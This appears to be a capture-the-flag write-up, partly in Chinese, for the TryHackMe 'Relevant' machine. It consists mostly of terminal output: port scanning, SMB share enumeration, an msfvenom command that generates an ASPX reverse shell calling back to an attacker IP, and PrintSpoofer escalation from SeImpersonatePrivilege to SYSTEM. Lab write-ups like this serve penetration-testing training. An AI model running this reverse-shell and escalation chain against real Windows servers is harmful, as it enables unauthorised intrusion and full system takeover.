Open 10.10.106.190:445 Open 10.10.106.190:80 Open 10.10.106.190:135 Open 10.10.106.190:139 Open 10.10.106.190:3389 Open 10.10.106.190:49663 Open 10.10.106.190:49668 Open 10.10.106.190:49666
1
49663/tcp open http syn-ack ttl 124 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
路径枚举
1
enum4linux 10.10.106.190
1 2 3 4 5 6 7 8 9 10 11 12 13
❯ smbclient -L //10.10.106.190 Password for [WORKGROUP\kali]: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC nt4wrksv Disk Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.10.106.190 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
1 2 3 4 5 6 7 8 9 10 11
kali@kali ~/Documents/thm/creative ❯ smbclient //10.10.106.190/nt4wrksv Password for [WORKGROUP\kali]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Sat Jul 25 17:46:04 2020 .. D 0 Sat Jul 25 17:46:04 2020 passwords.txt A 98 Sat Jul 25 11:15:33 2020
7735807 blocks of size 4096. 4944646 blocks available
┌──(kali㉿kali)-[~/Documents/thm/relevant] └─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.17.5.121 LPORT=1234 -f aspx -o shell.aspx [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 460 bytes Final size of aspx file: 3422 bytes Saved as: shell.aspx
Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled PS C:
C:\inetpub\wwwroot\nt4wrksv>PrintSpoofer64.exe -i -c cmd PrintSpoofer64.exe -i -c cmd [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami whoami nt authority\system
C:\Windows\system32>
1 2 3
C:\Users\Administrator\Desktop>type root.txt type root.txt THM{}
知识点回顾
总结
SMB文件上传到webshell获取 通过在 Windows 10 和 Server 2016/2019 上滥用从 LOCAL/NETWORK SERVICE 到 SYSTEM。SeImpersonatePrivilege